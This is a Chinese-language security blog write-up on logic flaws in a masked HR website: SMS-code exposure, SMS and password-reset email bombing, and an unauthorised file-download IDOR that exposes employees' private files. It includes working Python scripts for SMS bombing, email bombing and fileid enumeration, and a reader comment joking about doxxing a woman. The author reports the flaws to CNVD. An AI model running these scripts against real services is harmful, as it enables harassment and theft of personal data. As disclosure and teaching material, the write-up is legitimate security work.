某HR業務網站邏輯漏洞挖掘案例以及POC編寫思路分享

2019-05-27 364092人圍觀 ,發現 43 個不明物體 WEB安全

*本文原創作者:艾登——皮爾斯,本文屬于FreeBuf原創獎勵計劃,未經許可禁止轉載

前言

各位Buffer你們好,我們許久不見勝似想念,我看到小粉你們的感覺就是”春風拂過瀘沽湖,秋雨浸潤九寨溝”。今天鄙人我給大家帶來的“干貨”是邏輯漏洞挖掘的案例和使用Python3編寫漏洞POC。

首先引用我的前輩winway的一句話“記得以前有個老師說過,學到跟賺到的要分享給其他人,這樣才能獲得更多”,今天鄙人分享一篇關于某HR平臺的邏輯漏洞挖掘案例的文章。以及使用Python3編寫漏洞POC的思維(思想)的分享,希望各位Freebuf小粉喜歡。
image.png

工具準備

BurpSuiteFree (可能大家最喜歡最常用的抓包神器,需要Java環境);

火狐瀏覽器(個人比較喜歡的瀏覽器;360/Chrome等瀏覽器都可以);

SwitchyOmega插件(設置快速切換代理的瀏覽器插件);

Python3(用來后期編寫批量驗證漏洞危害的POC)。

測試對象

目標:https://www_hddddddddd_com/(脫敏)

IP地址:47.***.**.**

運營商:中國香港阿里云|網站中間件:Tomcat

操作系統:Linux

Web框架:Bootstrap

已挖掘出的邏輯漏洞類型

任意手機用戶注冊;

注冊短信驗證碼轟炸;

密碼重置郵件轟炸;

未授權訪問導致敏感信息泄露。

一、任意手機用戶注冊(低危)

(1)打開瀏覽器,訪問該HR業務系統的注冊頁面(如下圖所示):

image.png(2)在注冊人手機輸入框中隨便任意輸入一個11位的手機號碼,然后在瀏覽器中按F12調試出瀏覽器的開發者工具點擊”Network”。然后點擊“獲取驗證碼”的按鈕。然后我們可以清楚看到Response成功顯示了6位驗證碼。

image.png

(3)重新獲取6位驗證碼進行任意賬號注冊:

image.png

(4)成功復現任意賬戶注冊:

image.png

二、注冊短信驗證碼轟炸

(1)打開BurpSuiteFree設置好瀏覽器的本地代理:

image.png

(2)我們抓取獲取驗證碼的請求包:

image.png(3)然后按Ctrl+R把這個請求包發送到“Repeater”模塊:

image.png(4)然后點擊“Go”發送請求包查看響應數據包:

image.png

可以看到響應包成功響應并且返回了6位的驗證碼。

(5)連續點擊“Go”發送請求包查看響應包:

image.pngimage.png可以看到每次的響應包中的6位驗證碼都不一樣,疑似存在短信驗證碼轟炸漏洞,這時候我們要祭出我們的Python來編寫”驗證碼轟炸的POC”。

POC編寫核心思路:通過Requests模塊批量模擬瀏覽器客戶端請求獲取注冊驗證碼的數據包發送。

短信驗證碼轟炸POC代碼如下:

# -- coding: utf-8 --
import requests
session = requests.session()
headers = {'Referer':"https://www.**********.com/*****/reg",
           'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
n=0
url=("https://www.*********.com/r***/getMobileCode")
def SmsBoom(phpnumber,url):
    data = {'mobile': phpnumber,}
    ron = session.post(url, headers=headers, data=data)
phpnumber = input("請輸入你的手機號碼:")
AckNumber = int(input("請你輸入攻擊的次數:"))
while True:
    SmsBoom(phpnumber,url)
    n += 1
    print("[+]成功發送{}條".format(n))
    if n == AckNumber:
        print('結束攻擊')
        break
SmsBoom(phpnumber,url)

POC運行效果截圖:

image.pngPOC運行后會讓你輸入接受的手機號碼和攻擊測試的次數來驗證短信驗證碼轟炸漏洞,然后回車POC就會自動運行了。

手機短信收件箱的截圖:

image.png

成功接收到20條注冊驗證碼短信,成功驗證并且復現了短信驗證碼轟炸漏洞。

三、密碼重置郵件轟炸(低危)

這個漏洞主要是由于重置郵件發送冷卻時間校驗限制不嚴謹導致。

(1)在重置密碼的頁面輸入郵箱,然后點擊提交:

image.png

(2)Burp成功抓取到發送重置密碼的郵件請求包:

image.png

(3)然后按Ctrl+R把這個請求包發送到“Repeater”模塊,連續點擊”Go”:

image.png

然后你懂了吧,又存在重置密碼郵件轟炸,我們打開PyCharm,開始編寫重置密碼郵件轟炸的自動化利用POC:

image.png

重置密碼郵件轟炸POC代碼如下:

import requests
session = requests.session()
headers = {'Referer':"https://www.**********.com/login",'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
n=0
def EmailBoom(Email):
    url = 'https://www.***********.com/**********/user/********Email'
    data = {'validCodeType':2,
            'email':Email,
            'SITE.basepath':'https://www.**********.com:443/'}
    ron = session.post(url, headers=headers, data=data)
    print(ron.text)
Email = input("請輸入你的郵件:")
AckNumber = int(input("請你輸入攻擊的次數:"))
while True:
    EmailBoom(Email)
    n += 1
    print("成功發送{}封".format(n))
    if n == AckNumber:
        print('結束攻擊')
        break

POC運行效果截圖:

python Email_Boom.py

Email.png輸入接收郵箱和攻擊測試的次數,然后回車運行就可以看到POC正在瘋狂的輸出請求包:

image.pngimage.png運行完成我們打開QQ郵箱查看重置密碼郵件轟炸漏洞的攻擊效果:

image.png可以看到QQ郵箱已經被重置密碼的郵件給淹沒了——重置密碼郵件轟炸漏洞成功復現。

四、未授權訪問導致敏感信息泄露(高危)

(1)打開另一個注冊界面/reg/reg界面如下,有個上傳位置的地方,我們隨便上傳一張圖片文件:

image.png

image.png

(2)成功上傳好文件之后,F12查找文件上傳路徑無果:

image.png可以看到a標簽的鏈接到的對象資源是”javascript:void(0);”:

image.png但是我突然發現鼠標點擊文件名稱卻可以直接下載剛剛上傳上去文件:

image.png(3)在瀏覽器中按“Ctrl+J”組合鍵,打開瀏覽器的下載管理器:

image.png

(4)可以看到Windows.png的下載地址,我看到后面的“down?fileid=76595”,我就想嘗試修改后面的fileid的值能不能下載其他用戶上傳的文件。

image.png

(6)可以看到是可以直接下載相關的文件的,當訪問一些沒有對應文件的ID的時候就會提示“文件不存在”。

image.png

image.png

(7)這時候又到了PyCharm上場了,開始編寫POC腳本:

13.png

POC編寫核心思路:在while循環中讓某變量x+=1,然后把這個賦值給down?fileid=****,再使用Python的requests庫的Get請求方式進行批量請求,對請求的響應包進行判斷是否等于“文件不存在!”等于直接pass,不等于則把當前存在文件的鏈接寫出到根目錄下的txt文檔。然后再通過IDM下載工具進行批量下載文件。騷?。。?!

未授權訪問導致信息泄露POC代碼如下:

# -- coding: utf-8 --
import requests
import os
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
url = ("https://www.************.com/config/***********/down?fileid=")
Number= int(input("[+]請你輸入開始ID:"))
print('================================開始檢測敏感文件================================')
while True:
    f = open('存在文件的ID地址.txt', 'a+')  # 寫入一個文件
    Number += 1
    requrl= (url+"{}".format(str(Number)))
    response = requests.get(url=requrl,headers=headers)
    if response.text == str("文件不存在!"):
        print("[+]當前請求鏈接:"+requrl+"        敏感文件不存在 ")
        pass
    else:
        f.write("當前請求鏈接:"+requrl+"\n")
        print("[+]當前請求鏈接:"+requrl+"        存在敏感文件     ",+response.status_code,)
        f.close()

POC運行效果截圖:

python Override_access_POC.py

①運行批量檢測POC腳本之后,腳本就會自動開始把請求結果輸出到屏幕上面如下圖所示:

image.png②在腳本的根目錄下的存在文件的ID地址.txt文檔中葉成功保存了存在文件的鏈接:

image.png

③Ctrl+A復制全部鏈接,然后打開IDM,選擇從剪切板批量導入下載鏈接,可以從文件名判斷出這些都是敏感文件,這里鄙人就不做越界下載這些的動作了。

image.png

image.png

IDM下載預覽顯示了文件名可以斷定為企業員工的個人隱私信息,若涉事廠商不及時修復漏洞可能會造成大量公民的個人隱私信息遭到泄露,給其他衍生的網絡攻擊分子提供可乘之機。

最后我發現這個漏洞不止一個站點受到影響,該公司旗下的十多個站點均受到此類漏洞影響。

image.png

于是乎我立刻把該漏洞提交到了CNVD國家信息安全漏洞共享平臺,然后得到的反饋是如下圖(菜雞的我成功撿到一個CNVD原創漏洞證書):image.png

image.png

忠告:我們在挖掘漏洞的時候切莫一昧沉迷于各種掃描器,因為很多漏洞你使用漏洞掃描器無法發現的,反而會影響測試網站業務的正常運行,所以我們應該多通過Burp抓包工具對數據包進行分析,查看網站源代碼等其他方式進行測試。其次各位白帽子同學切莫被網絡黑產高額的金錢利益蒙蔽了自己的雙眼,編寫提交漏洞報告書到有關平臺協助涉事廠商修復領取原創漏洞證書才是正道。希望對各位正在挖掘漏洞的你們能有啟蒙作用。

我是一個戴眼鏡的菜鳥,希望各位前輩多多指教。。。

image.png

*本文原創作者:艾登——皮爾斯,本文屬于FreeBuf原創獎勵計劃,未經許可禁止轉載

這些評論亮了

  • 蔣先生 回復
    我要在15分鐘內拿到這個女孩的全部信息,我想以在座各位的身份沒有問題吧???
    )46( 亮了
  • @ 艾登——皮爾斯? 原來這種漏洞也能上CNVD?
    )13( 亮了
發表評論

已有 43 條評論

取消
Loading...

特別推薦

推薦關注

填寫個人信息

姓名
電話
郵箱
公司
行業
職位
css.php jizzz